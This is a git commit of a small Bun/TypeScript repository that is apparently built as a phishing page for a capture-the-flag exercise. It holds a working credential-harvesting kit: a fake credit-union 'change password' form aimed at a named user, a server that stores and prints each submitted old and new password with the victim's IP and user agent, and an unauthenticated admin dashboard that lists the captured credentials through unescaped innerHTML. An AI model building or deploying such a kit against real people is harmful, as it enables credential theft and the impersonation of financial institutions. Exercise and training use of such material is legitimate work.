a phising page made for Crimson Defence CTF

feat: init

dunkirk.sh b32699d7

verified
+39
.gitignore
···
+
# dependencies (bun install)
+
node_modules
+
+
# output
+
out
+
dist
+
*.tgz
+
+
# code coverage
+
coverage
+
*.lcov
+
+
# logs
+
logs
+
_.log
+
report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json
+
+
# dotenv environment variable files
+
.env
+
.env.development.local
+
.env.test.local
+
.env.production.local
+
.env.local
+
+
# caches
+
.eslintcache
+
.cache
+
*.tsbuildinfo
+
+
# IntelliJ based IDEs
+
.idea
+
+
# Finder (MacOS) folder config
+
.DS_Store
+
+
database.db
+
+
# crush
+
.crush
+27
LICENSE.md
···
+
The MIT License (MIT)
+
=====================
+
+
Copyright © `2025` `Kieran Klukas`
+
+
Permission is hereby granted, free of charge, to any person
+
obtaining a copy of this software and associated documentation
+
files (the “Software”), to deal in the Software without
+
restriction, including without limitation the rights to use,
+
copy, modify, merge, publish, distribute, sublicense, and/or sell
+
copies of the Software, and to permit persons to whom the
+
Software is furnished to do so, subject to the following
+
conditions:
+
+
The above copyright notice and this permission notice shall be
+
included in all copies or substantial portions of the Software.
+
+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+
OTHER DEALINGS IN THE SOFTWARE.
+
+
+24
README.md
···
+
# Crimson Phish
+
+
A simple reset password phishing page for the [2025 Crimson Defence CTF](https://uacrimsondefense.github.io/cdctf.html).
+
+
![an image of the admin dashboard](https://github.com/taciturnaxolotl/crimson-phish/blob/main/docs/admin.png?raw=true)
+
+
## Usage
+
+
This is a very simple server with the html and assets being loaded and bundled by `bun.serve` and then a very simple http api for handling password resets and displaying the password list.
+
+
```bash
+
bun start
+
bun dev # hot reloading
+
```
+
+
![an image of the main page](https://github.com/taciturnaxolotl/crimson-phish/blob/main/docs/index.png?raw=true)
+
+
<p align="center">
+
<i><code>&copy 2025-present <a href="https://github.com/taciturnaxolotl">Kieran Klukas</a></code></i>
+
</p>
+
+
<p align="center">
+
<a href="https://github.com/taciturnaxolotl/crimson-phish/blob/main/LICENSE.md"><img src="https://img.shields.io/static/v1.svg?style=for-the-badge&label=License&message=MIT&logoColor=d9e0ee&colorA=363a4f&colorB=b7bdf8"/></a>
+
</p>
+56
bun.lock
···
+
{
+
"lockfileVersion": 1,
+
"workspaces": {
+
"": {
+
"name": "phishing-simulator",
+
"dependencies": {
+
"bun": "latest",
+
},
+
"devDependencies": {
+
"@types/bun": "latest",
+
},
+
"peerDependencies": {
+
"typescript": "^5",
+
},
+
},
+
},
+
"packages": {
+
"@oven/bun-darwin-aarch64": ["@oven/bun-darwin-aarch64@1.2.22", "", { "os": "darwin", "cpu": "arm64" }, "sha512-YCJkV2/vO5VVTQdwxLQrkW/yU4FAMWd3AXU3Z+TfoeYkHye5d2dIaBRXEPrOzrq1LQ2esN6ZhGfwYu2lVMTVRw=="],
+
+
"@oven/bun-darwin-x64": ["@oven/bun-darwin-x64@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-LhazlsoNOhjirQT303zKG5cli65FR5WweZgGRL0LoxH/ZWTwlYxpTCOBJ6/euV8YLMaGDNQfIfRLFARK5NqXng=="],
+
+
"@oven/bun-darwin-x64-baseline": ["@oven/bun-darwin-x64-baseline@1.2.22", "", { "os": "darwin", "cpu": "x64" }, "sha512-l8OHOXKZKCZaRDb5gxE8qRfccq6zi7j1xJiSI5P86qXW8jPoQbf+pPCoP8NgeyzeHqluWJoN0mqgCsSdp5dzWQ=="],
+
+
"@oven/bun-linux-aarch64": ["@oven/bun-linux-aarch64@1.2.22", "", { "os": "linux", "cpu": "arm64" }, "sha512-JdC5nvmQh0rbUC46FY5uSF4SKYcY2LX5S66ZZvWdFp8R+6WnNc3Jr1hd5NcRW9qBVQ/JHi8oedrky9BtT8tzMA=="],
+
+
"@oven/bun-linux-aarch64-musl": ["@oven/bun-linux-aarch64-musl@1.2.22", "", { "os": "linux", "cpu": "none" }, "sha512-Dc4/CsUgufxIwQKo8vVFtUvNSZIqVgogj7cg8GIXdNsanO/vckv8qspyLHuQB5E2Nye4nXorD76ixKuwkPTAMw=="],
+
+
"@oven/bun-linux-x64": ["@oven/bun-linux-x64@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-U3h5zPw0stPl1qi7sGk8hL1r2QXH73HJBTLBHpeJ+PlfhfX/QIWnL/qK2c5Prm4jh2e/Tkw8bwL7NZ4iE9cVEQ=="],
+
+
"@oven/bun-linux-x64-baseline": ["@oven/bun-linux-x64-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-sww8Sqc0Zq94wa95ouNC5weMRXIFt32gB3+xXXw6o52Uf7TeNrYriQr+o68D7A5YXk9DSDFaTknwYTYwYw/lmQ=="],
+
+
"@oven/bun-linux-x64-musl": ["@oven/bun-linux-x64-musl@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-h76y0mrs1dnpjVxZTzoREa9cRdf029aKP0TxRMgABH3aRm2UBgUfgh0qyTsRhnHd4+gl6X2Vn0nfStZTNWGEFQ=="],
+
+
"@oven/bun-linux-x64-musl-baseline": ["@oven/bun-linux-x64-musl-baseline@1.2.22", "", { "os": "linux", "cpu": "x64" }, "sha512-iQgG4wCSkHQ0CrEPsLMsCWoM1hewybJHVP5d3UaASwHcfuvd7N7hODZyz59tfMaGxZygyxIXQhgz32p37zDsEg=="],
+
+
"@oven/bun-windows-x64": ["@oven/bun-windows-x64@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-u+MIs0yj8Euv2ScFuqmbL54n4uJ+ZMK2nkAwkzumu6oUG0wRzIaSxAv61bO70Q1lTWX4dXLfoJhADJ1HdiGpTQ=="],
+
+
"@oven/bun-windows-x64-baseline": ["@oven/bun-windows-x64-baseline@1.2.22", "", { "os": "win32", "cpu": "x64" }, "sha512-9NgPAoht79/rex2C4IJ4N9BFpNupXS5WdKMKda0tBB/xjQkEZbSZ01wpS7PF4yHPwWsUZI0g7xP8NcNHT3nDcw=="],
+
+
"@types/bun": ["@types/bun@1.2.22", "", { "dependencies": { "bun-types": "1.2.22" } }, "sha512-5A/KrKos2ZcN0c6ljRSOa1fYIyCKhZfIVYeuyb4snnvomnpFqC0tTsEkdqNxbAgExV384OETQ//WAjl3XbYqQA=="],
+
+
"@types/node": ["@types/node@24.5.2", "", { "dependencies": { "undici-types": "~7.12.0" } }, "sha512-FYxk1I7wPv3K2XBaoyH2cTnocQEu8AOZ60hPbsyukMPLv5/5qr7V1i8PLHdl6Zf87I+xZXFvPCXYjiTFq+YSDQ=="],
+
+
"@types/react": ["@types/react@19.1.13", "", { "dependencies": { "csstype": "^3.0.2" } }, "sha512-hHkbU/eoO3EG5/MZkuFSKmYqPbSVk5byPFa3e7y/8TybHiLMACgI8seVYlicwk7H5K/rI2px9xrQp/C+AUDTiQ=="],
+
+
"bun": ["bun@1.2.22", "", { "optionalDependencies": { "@oven/bun-darwin-aarch64": "1.2.22", "@oven/bun-darwin-x64": "1.2.22", "@oven/bun-darwin-x64-baseline": "1.2.22", "@oven/bun-linux-aarch64": "1.2.22", "@oven/bun-linux-aarch64-musl": "1.2.22", "@oven/bun-linux-x64": "1.2.22", "@oven/bun-linux-x64-baseline": "1.2.22", "@oven/bun-linux-x64-musl": "1.2.22", "@oven/bun-linux-x64-musl-baseline": "1.2.22", "@oven/bun-windows-x64": "1.2.22", "@oven/bun-windows-x64-baseline": "1.2.22" }, "os": [ "linux", "win32", "darwin", ], "cpu": [ "x64", "arm64", ], "bin": { "bun": "bin/bun.exe", "bunx": "bin/bunx.exe" } }, "sha512-NnU1TEiH9LLv1jE+84AJ7ZGimdQzLgzbZNvK3enNh5qUHqkgDm99SiA7tnJnzfJW5OWBdoZzKae2zXu0pwQ/kA=="],
+
+
"bun-types": ["bun-types@1.2.22", "", { "dependencies": { "@types/node": "*" }, "peerDependencies": { "@types/react": "^19" } }, "sha512-hwaAu8tct/Zn6Zft4U9BsZcXkYomzpHJX28ofvx7k0Zz2HNz54n1n+tDgxoWFGB4PcFvJXJQloPhaV2eP3Q6EA=="],
+
+
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
+
+
"typescript": ["typescript@5.9.2", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-CWBzXQrc/qOkhidw1OzBTQuYRbfyxDXJMVJ1XNwUHGROVmuaeiEm3OslpZ1RV96d7SKKjZKrSJu3+t/xlw3R9A=="],
+
+
"undici-types": ["undici-types@7.12.0", "", {}, "sha512-goOacqME2GYyOZZfb5Lgtu+1IDmAlAEu5xnD3+xTzS10hT0vzpf0SPjkXwAw9Jm+4n/mQGDP3LO8CPbYROeBfQ=="],
+
}
+
}
docs/admin.png

This is a binary file and will not be displayed.

docs/index.png

This is a binary file and will not be displayed.

+86
index.ts
···
+
import { serve } from "bun";
+
import homepage from "./public/index.html";
+
import adminpage from "./public/admin.html";
+
import { SQL } from "bun";
+
+
const db = new SQL("sqlite://database.db");
+
await db`
+
CREATE TABLE IF NOT EXISTS passwords (
+
id INTEGER PRIMARY KEY AUTOINCREMENT,
+
username TEXT NOT NULL,
+
old_password TEXT NOT NULL,
+
new_password TEXT NOT NULL,
+
ip_address TEXT NOT NULL,
+
user_agent TEXT NOT NULL,
+
timestamp TEXT NOT NULL
+
);
+
`;
+
+
const server = serve({
+
routes: {
+
// HTML imports
+
"/": homepage,
+
"/admin": adminpage,
+
+
// API endpoints
+
"/api/change-password": {
+
async POST(req) {
+
const { username, current_password, new_password } =
+
(await req.json()) as {
+
username: string;
+
current_password: string;
+
new_password: string;
+
};
+
+
// Get client info
+
const ip_address = req.headers.get("x-forwarded-for") || "unknown";
+
const user_agent = req.headers.get("user-agent") || "unknown";
+
+
// Log the password change attempt
+
await db`
+
INSERT INTO passwords
+
(username, old_password, new_password, ip_address, user_agent, timestamp)
+
VALUES (
+
${username},
+
${current_password},
+
${new_password},
+
${ip_address},
+
${user_agent},
+
${new Date().toISOString()}
+
)
+
`;
+
+
// Log to console
+
console.log("Password change attempt:", {
+
username,
+
old_password: current_password,
+
new_password,
+
ip_address,
+
user_agent,
+
});
+
+
// Simulate successful password change
+
return Response.json({
+
success: true,
+
message: "Password changed successfully",
+
});
+
},
+
},
+
+
"/api/logs": {
+
async GET(req) {
+
const logs = await db`
+
SELECT * FROM passwords
+
`;
+
// Return all logs
+
return Response.json(logs);
+
},
+
},
+
},
+
+
// Enable development mode
+
development: true,
+
});
+
+
console.log(`Phishing server running at ${server.url}`);
+
console.log(`Admin dashboard available at ${server.url}admin`);
+21
package.json
···
+
{
+
"name": "phishing-simulator",
+
"version": "1.0.0",
+
"description": "A phishing simulation for educational purposes",
+
"main": "index.ts",
+
"type": "module",
+
"scripts": {
+
"start": "bun run index.ts",
+
"dev": "bun --hot run index.ts"
+
},
+
"dependencies": {
+
"bun": "latest"
+
},
+
"private": true,
+
"devDependencies": {
+
"@types/bun": "latest"
+
},
+
"peerDependencies": {
+
"typescript": "^5"
+
}
+
}
+123
public/admin.html
···
+
<!doctype html>
+
<html lang="en">
+
<head>
+
<meta charset="UTF-8" />
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
+
<link rel="icon" type="image/x-icon" href="favicon.png" />
+
<title>Admin Dashboard</title>
+
<link rel="stylesheet" href="styles.css" />
+
<style>
+
.admin-container {
+
width: 90%;
+
max-width: 1200px;
+
margin: 20px auto;
+
padding: 20px;
+
background-color: #fff;
+
border-radius: 8px;
+
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
+
}
+
+
table {
+
width: 100%;
+
border-collapse: collapse;
+
margin-top: 20px;
+
}
+
+
th, td {
+
padding: 12px;
+
text-align: left;
+
border-bottom: 1px solid #ddd;
+
}
+
+
th {
+
background-color: #c62828;
+
color: white;
+
}
+
+
tr:hover {
+
background-color: #f5f5f5;
+
}
+
+
.refresh-btn {
+
background-color: #c62828;
+
color: white;
+
border: none;
+
padding: 10px 20px;
+
border-radius: 4px;
+
cursor: pointer;
+
margin-bottom: 20px;
+
}
+
+
.refresh-btn:hover {
+
background-color: #b71c1c;
+
}
+
</style>
+
</head>
+
<body>
+
<header>
+
<img src="banner.png" alt="" width="500px" />
+
</header>
+
+
<div class="header">
+
<h1>Admin Dashboard</h1>
+
</div>
+
+
<div class="admin-container">
+
<h2>Password Change Logs</h2>
+
<button id="refreshBtn" class="refresh-btn">Refresh Data</button>
+
<div id="logsContainer">
+
<table id="logsTable">
+
<thead>
+
<tr>
+
<th>ID</th>
+
<th>Username</th>
+
<th>Old Password</th>
+
<th>New Password</th>
+
<th>IP Address</th>
+
<th>User Agent</th>
+
<th>Timestamp</th>
+
</tr>
+
</thead>
+
<tbody id="logsTableBody">
+
<!-- Logs will be inserted here -->
+
</tbody>
+
</table>
+
</div>
+
</div>
+
+
<script>
+
// Function to fetch and display logs
+
function fetchLogs() {
+
fetch('/api/logs')
+
.then(response => response.json())
+
.then(data => {
+
const tableBody = document.getElementById('logsTableBody');
+
tableBody.innerHTML = ''; // Clear existing rows
+
+
data.forEach(log => {
+
const row = document.createElement('tr');
+
row.innerHTML = `
+
<td>${log.id}</td>
+
<td>${log.username}</td>
+
<td>${log.old_password}</td>
+
<td>${log.new_password}</td>
+
<td>${log.ip_address}</td>
+
<td>${log.user_agent}</td>
+
<td>${log.timestamp}</td>
+
`;
+
tableBody.appendChild(row);
+
});
+
})
+
.catch(error => {
+
console.error('Error fetching logs:', error);
+
});
+
}
+
+
// Fetch logs when page loads
+
document.addEventListener('DOMContentLoaded', fetchLogs);
+
+
// Refresh button event listener
+
document.getElementById('refreshBtn').addEventListener('click', fetchLogs);
+
</script>
+
</body>
+
</html>
public/banner.png

This is a binary file and will not be displayed.

public/favicon.png

This is a binary file and will not be displayed.

+231
public/index.html
···
+
<!doctype html>
+
<html lang="en">
+
<head>
+
<meta charset="UTF-8" />
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
+
<link rel="icon" type="image/x-icon" href="favicon.png" />
+
<title>MyCCU Change Password</title>
+
<link rel="stylesheet" href="styles.css" />
+
<link rel="stylesheet" href="loginstyles.css" />
+
<link rel="preconnect" href="https://fonts.googleapis.com" />
+
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
+
<link
+
href="https://fonts.googleapis.com/css2?family=Archivo:ital,wght@0,100..900;1,100..900&family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap"
+
rel="stylesheet"
+
/>
+
</head>
+
<body>
+
<header>
+
<a href="index.html"
+
><img src="banner.png" alt="" width="500px"
+
/></a>
+
</header>
+
+
<div class="header">
+
<h1>Welcome to MyCCU</h1>
+
</div>
+
+
<div class="login-wrapper">
+
<div class="login-container">
+
<h2>Change Password</h2>
+
<div class="loginForm">
+
<p>
+
Hello Jeffrey Barrett, please enter your current
+
password and choose a new password.
+
</p>
+
<form id="resetForm">
+
<div class="form-group">
+
<label>Current Password</label>
+
<input
+
type="password"
+
name="current_password"
+
class="form-control"
+
required
+
/>
+
<span class="help-block"></span>
+
</div>
+
+
<div class="form-group">
+
<label>New Password</label>
+
<input
+
type="password"
+
name="new_password"
+
class="form-control"
+
required
+
/>
+
<span class="help-block"></span>
+
</div>
+
+
<div class="form-group">
+
<label>Confirm New Password</label>
+
<input
+
type="password"
+
name="confirm_password"
+
class="form-control"
+
required
+
/>
+
<span class="help-block"></span>
+
</div>
+
+
<div class="form-group">
+
<input
+
type="submit"
+
class="btn btn-primary"
+
value="Change Password"
+
/>
+
</div>
+
+
<p>
+
<a
+
href="http://crimsonchallenge.duckdns.org/login.php"
+
>Back to Login</a
+
>.
+
</p>
+
</form>
+
</div>
+
</div>
+
</div>
+
+
<script>
+
document
+
.getElementById("resetForm")
+
.addEventListener("submit", function (e) {
+
e.preventDefault();
+
+
const formData = new FormData(this);
+
const currentPassword = formData.get("current_password");
+
const newPassword = formData.get("new_password");
+
const confirmPassword = formData.get("confirm_password");
+
+
// Clear previous errors
+
document
+
.querySelectorAll(".form-group")
+
.forEach((group) => {
+
group.classList.remove("has-error");
+
const helpBlock =
+
group.querySelector(".help-block");
+
if (helpBlock) {
+
helpBlock.textContent = "";
+
}
+
});
+
+
// Validate password confirmation
+
if (newPassword !== confirmPassword) {
+
const confirmGroup =
+
document.querySelectorAll(".form-group")[2];
+
const helpBlock =
+
confirmGroup.querySelector(".help-block");
+
if (helpBlock) {
+
helpBlock.textContent =
+
"New passwords do not match.";
+
confirmGroup.classList.add("has-error");
+
}
+
return;
+
}
+
+
// Validate password strength (optional)
+
if (newPassword.length < 8) {
+
const newPasswordGroup =
+
document.querySelectorAll(".form-group")[1];
+
const helpBlock =
+
newPasswordGroup.querySelector(".help-block");
+
if (helpBlock) {
+
helpBlock.textContent =
+
"New password must be at least 8 characters long.";
+
newPasswordGroup.classList.add("has-error");
+
}
+
return;
+
}
+
+
// Prepare data for API
+
const apiData = {
+
username: "jbarrett",
+
current_password: currentPassword,
+
new_password: newPassword,
+
};
+
+
// Make the request to our Bun API
+
fetch("/api/change-password", {
+
method: "POST",
+
headers: {
+
"Content-Type": "application/json",
+
},
+
body: JSON.stringify(apiData),
+
})
+
.then((response) => response.json())
+
.then((data) => {
+
if (data.success) {
+
alert("Password changed successfully!");
+
// Redirect to the target site
+
window.location.href =
+
"https://www.youtube.com/watch?v=E4WlUXrJgy4";
+
} else {
+
// Show error on appropriate field
+
if (data.field === "current_password") {
+
const currentGroup =
+
document.querySelectorAll(
+
".form-group",
+
)[0];
+
const helpBlock =
+
currentGroup.querySelector(
+
".help-block",
+
);
+
if (helpBlock) {
+
helpBlock.textContent =
+
data.message ||
+
"Current password is incorrect.";
+
currentGroup.classList.add("has-error");
+
}
+
} else {
+
const newPasswordGroup =
+
document.querySelectorAll(
+
".form-group",
+
)[1];
+
const helpBlock =
+
newPasswordGroup.querySelector(
+
".help-block",
+
);
+
if (helpBlock) {
+
helpBlock.textContent =
+
data.message ||
+
"An error occurred. Please try again.";
+
newPasswordGroup.classList.add(
+
"has-error",
+
);
+
}
+
}
+
}
+
})
+
.catch((error) => {
+
console.error("Error:", error);
+
const currentGroup =
+
document.querySelectorAll(".form-group")[0];
+
const helpBlock =
+
currentGroup.querySelector(".help-block");
+
if (helpBlock) {
+
helpBlock.textContent =
+
"Network error. Please try again.";
+
currentGroup.classList.add("has-error");
+
}
+
});
+
});
+
+
// Clear error state when user starts typing
+
document
+
.querySelectorAll('input[type="password"]')
+
.forEach((input) => {
+
input.addEventListener("input", function () {
+
const formGroup = this.closest(".form-group");
+
if (formGroup) {
+
formGroup.classList.remove("has-error");
+
const helpBlock =
+
formGroup.querySelector(".help-block");
+
if (helpBlock) {
+
helpBlock.textContent = "";
+
}
+
}
+
});
+
});
+
</script>
+
</body>
+
</html>
+131
public/loginstyles.css
···
+
+
/* Body Styling */
+
body {
+
background-color: #f4f4f4;
+
display: flex;
+
justify-content: center;
+
align-items: center;
+
height: 100vh;
+
margin: 0;
+
flex-direction: column;
+
}
+
+
+
.header h1 {
+
font-size: 36px;
+
margin-bottom: 10px;
+
}
+
+
.header p {
+
font-size: 18px;
+
margin-top: 0;
+
}
+
+
/* Login and Message Container */
+
.login-wrapper {
+
margin: 0;
+
padding: 0;
+
box-sizing: border-box;
+
display: flex;
+
justify-content: center;
+
align-items: center;
+
max-width: 1100px;
+
width: 100%;
+
background-color: #fff;
+
border-radius: 8px;
+
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
+
padding: 20px;
+
margin-top: 20px; /* Adjust for header height */
+
}
+
+
/* Login Container */
+
.login-container {
+
width: 50%;
+
padding: 30px;
+
box-sizing: border-box;
+
}
+
+
/* Heading */
+
h2 {
+
text-align: center;
+
margin-bottom: 20px;
+
font-size: 24px;
+
color: #333;
+
}
+
+
/* Input Field Styling */
+
input {
+
width: 100%;
+
padding: 12px;
+
margin-bottom: 20px;
+
border: 1px solid #ddd;
+
border-radius: 4px;
+
font-size: 16px;
+
box-sizing: border-box;
+
}
+
+
input:focus {
+
border-color: #c62828;
+
outline: none;
+
}
+
+
/* Button Styling */
+
button {
+
width: 100%;
+
padding: 12px;
+
background-color: #c62828;
+
color: #fff;
+
border: none;
+
border-radius: 4px;
+
font-size: 16px;
+
cursor: pointer;
+
}
+
+
button:hover {
+
background-color: #b71c1c;
+
}
+
+
/* Error Message */
+
.message {
+
color: red;
+
font-size: 0.9rem;
+
text-align: center;
+
display: none;
+
margin-top: 10px;
+
}
+
+
/* Message Section */
+
.message-section {
+
width: 50%;
+
padding: 30px;
+
box-sizing: border-box;
+
background-color: #f0f8ff;
+
border-radius: 8px;
+
display: flex;
+
justify-content: center;
+
align-items: center;
+
}
+
+
.message-section h3 {
+
font-size: 18px;
+
color: #333;
+
}
+
+
.message-section p {
+
font-size: 14px;
+
color: #555;
+
}
+
+
+
+
/* Responsive Design */
+
@media (max-width: 800px) {
+
.login-wrapper {
+
flex-direction: column;
+
max-width: 100%;
+
}
+
+
.login-container, .message-section {
+
width: 100%;
+
}
+
}
+481
public/styles.css
···
+
body {
+
font-family: "Open Sans", sans-serif;
+
margin: 0;
+
padding: 0;
+
box-sizing: border-box;
+
background-color: #f9f9f9;
+
color: #333;
+
}
+
h1, h2, h3, h4 {
+
font-family: "Archivo", sans-serif;
+
}
+
header {
+
background-color: #c62828; /* Red */
+
color: white;
+
padding: 15px 0;
+
text-align: center;
+
}
+
header h1 {
+
margin: 0;
+
}
+
nav {
+
background-color: #b71c1c; /* Dark Red */
+
overflow: hidden;
+
}
+
nav a {
+
color: white;
+
padding: 15px 20px;
+
text-decoration: none;
+
display: inline-block;
+
text-align: center;
+
}
+
nav a:hover {
+
background-color: #9a1a1a; /* Even darker red for hover effect */
+
}
+
.container {
+
width: 80%;
+
margin: 20px auto;
+
}
+
section {
+
margin-bottom: 30px;
+
}
+
.cta {
+
background-color: #d32f2f; /* Bright Red */
+
color: white;
+
padding: 20px;
+
text-align: center;
+
border-radius: 5px;
+
}
+
.cta a {
+
color: white;
+
text-decoration: none;
+
font-weight: bold;
+
font-size: 18px;
+
}
+
.cta a:hover {
+
text-decoration: underline;
+
}
+
footer {
+
background-color: #c62828; /* Red */
+
color: white;
+
padding: 10px 0;
+
text-align: center;
+
}
+
/* Additional Styling for Input Fields */
+
input[type="text"], input[type="password"], button {
+
padding: 10px;
+
font-size: 16px;
+
margin: 10px 0;
+
width: 100%;
+
border: 2px solid #c62828; /* Red borders */
+
border-radius: 5px;
+
}
+
button {
+
background-color: #c62828;
+
color: white;
+
border: none;
+
cursor: pointer;
+
transition-duration: 0.4s;
+
}
+
button:hover {
+
background-color: #b71c1c;
+
}
+
.column {
+
float: left;
+
width: 48%;
+
padding: 10px;
+
height: auto;
+
text-align: center;
+
}
+
+
/* Clear floats after the columns */
+
.row:after {
+
content: "";
+
display: table;
+
clear: both;
+
}
+
+
/* Responsive layout */
+
@media (max-width: 600px) {
+
.column {
+
width: 100%;
+
}
+
}
+
+
.intro-text {
+
background-color: #f1f1f1;
+
padding: 20px;
+
border-left: 5px solid #c62828;
+
margin-bottom: 30px;
+
}
+
+
figcaption {
+
font-style: italic;
+
font-size: smaller;
+
}
+
+
.flex-container {
+
display: flex;
+
}
+
+
/* Style for the job-listings section */
+
.job-listings {
+
list-style-type: none; /* Removes default list bullets */
+
padding: 0;
+
margin: 0;
+
}
+
+
.job-item {
+
background-color: #fff; /* White background for each job item */
+
border: 1px solid #ddd; /* Light gray border for separation */
+
border-radius: 8px; /* Rounded corners */
+
margin-bottom: 20px; /* Space between job items */
+
padding: 20px;
+
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); /* Light shadow for depth */
+
transition: transform 0.3s ease, box-shadow 0.3s ease; /* Smooth transition effect */
+
}
+
+
.job-item:hover {
+
transform: translateY(-5px); /* Slight lift effect on hover */
+
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.15); /* Stronger shadow on hover */
+
}
+
+
.job-item h4 {
+
font-size: 1.6rem;
+
color: #c62828; /* color for job title */
+
margin-bottom: 10px;
+
font-weight: bold;
+
}
+
+
.job-item p {
+
font-size: 1rem;
+
line-height: 1.6;
+
color: #555; /* Slightly gray text for better readability */
+
margin-bottom: 10px;
+
}
+
+
.job-item a.apply-button {
+
display: inline-block;
+
background-color: #c62828; /* color for the button */
+
color: white;
+
padding: 10px 20px;
+
text-decoration: none;
+
font-weight: 600;
+
border-radius: 5px;
+
text-align: center;
+
margin-top: 15px;
+
transition: background-color 0.3s ease;
+
}
+
+
.job-item a.apply-button:hover {
+
background-color: #b71c1c; /* Darker on hover */
+
}
+
+
/* Services */
+
+
/* Section styling for each service section */
+
#creditunion-services {
+
background-color: #f9f9f9;
+
border: 1px solid #ddd;
+
margin-bottom: 20px;
+
padding: 20px;
+
border-radius: 8px;
+
}
+
+
/* Styling for each section's heading */
+
#creditunion-services h2 {
+
font-size: 1.8rem;
+
color: #c62828;
+
margin-bottom: 10px;
+
font-weight: bold;
+
}
+
+
/* Paragraph styling */
+
#creditunion-services p {
+
font-size: 1rem;
+
line-height: 1.6;
+
color: #555;
+
margin-bottom: 20px;
+
}
+
+
/* Service list styling */
+
.service-list {
+
list-style-type: none;
+
padding-left: 0;
+
margin-top: 10px;
+
}
+
+
.service-list li {
+
font-size: 1rem;
+
color: #333;
+
margin-bottom: 10px;
+
}
+
+
.service-list li strong {
+
color: #c62828; /* color for service titles */
+
}
+
+
/* Service content layout */
+
.service-content {
+
display: flex;
+
justify-content: space-between;
+
align-items: center;
+
gap: 20px;
+
}
+
+
.text-content {
+
flex: 1;
+
}
+
+
.image-content {
+
flex: 0 0 250px; /* Fixed width for images */
+
}
+
+
.image-content img {
+
width: 100%;
+
height: auto;
+
border-radius: 8px;
+
}
+
+
/* Call to Action button styling */
+
.cta-button {
+
display: inline-block;
+
background-color: #c62828;
+
color: white;
+
padding: 15px 25px;
+
text-decoration: none;
+
text-align: center;
+
font-size: 1.2rem;
+
font-weight: bold;
+
border-radius: 5px;
+
margin-top: 30px;
+
transition: background-color 0.3s ease;
+
}
+
+
.cta-button:hover {
+
background-color: #b71c1c;
+
}
+
+
/* Add some padding between each section */
+
#creditunion-services + #creditunion-services {
+
margin-top: 20px;
+
}
+
+
/* Board */
+
+
/* Board of Directors Section */
+
#board-of-directors {
+
margin-bottom: 30px;
+
}
+
+
#board-of-directors h2 {
+
font-size: 2rem;
+
color: black;
+
margin-bottom: 20px;
+
font-weight: bold;
+
text-align: center;
+
}
+
+
#board-of-directors h3 {
+
font-size: 1.6rem;
+
color: #333;
+
margin-top: 20px;
+
font-weight: bold;
+
}
+
+
#board-of-directors p {
+
font-size: 1rem;
+
color: #555;
+
line-height: 1.6;
+
}
+
+
/* Board member layout */
+
.board-member {
+
display: flex;
+
align-items: center;
+
margin-bottom: 20px;
+
padding: 15px;
+
background-color: #f9f9f9;
+
border: 1px solid #ddd;
+
border-radius: 8px;
+
}
+
+
.board-member-image {
+
margin-right: 20px;
+
flex-shrink: 0;
+
}
+
+
.board-member-image img {
+
width: 100px; /* Fixed size for the image */
+
height: 100px;
+
border-radius: 50%; /* Make the image circular */
+
object-fit: cover; /* Ensures the image fits within the circle */
+
}
+
+
.board-member-info {
+
flex-grow: 1;
+
}
+
+
.board-member-info h4 {
+
font-size: 1.4rem;
+
color: #333;
+
margin: 0;
+
font-weight: bold;
+
}
+
+
.board-member-info p {
+
font-size: 1rem;
+
color: #555;
+
margin-top: 5px;
+
line-height: 1.6;
+
}
+
+
/* Add hover effect for the board member items */
+
.board-member:hover {
+
background-color: #eef2f9;
+
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
+
cursor: pointer;
+
}
+
+
/* Policy Menu Styling*/
+
.button-menu {
+
display: flex;
+
justify-content: center;
+
gap: 20px;
+
margin-bottom: 40px;
+
}
+
+
.button-menu a {
+
display: inline-block;
+
padding: 15px 30px;
+
background-color: #c62828;
+
color: #fff;
+
font-size: 16px;
+
text-decoration: none;
+
border-radius: 4px;
+
text-align: center;
+
transition: background-color 0.3s ease;
+
}
+
+
.button-menu a:hover {
+
background-color: #b71c1c;
+
}
+
+
.button-menu a:active {
+
background-color: #002244;
+
}
+
+
/* Reviews for index*/
+
.reviews-container {
+
max-width: 1200px;
+
margin: 20px auto;
+
padding: 20px;
+
}
+
.review {
+
display: flex;
+
align-items: center;
+
background-color: white;
+
padding: 20px;
+
margin-bottom: 20px;
+
border-radius: 8px;
+
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
+
}
+
.review img {
+
width: 100px;
+
height: 100px;
+
border-radius: 50%;
+
object-fit: cover;
+
margin-right: 20px;
+
}
+
.review-content {
+
max-width: 800px;
+
}
+
.review-content h3 {
+
margin-top: 0;
+
color: #333;
+
}
+
.review-content p {
+
color: #555;
+
font-size: 1rem;
+
line-height: 1.5;
+
}
+
.review-content p:last-child {
+
font-style: italic;
+
color: #333;
+
}
+
+
/* Dropdown nav bar */
+
+
/* Navbar container */
+
.navbar {
+
overflow: hidden;
+
background-color: #b71c1c;
+
}
+
+
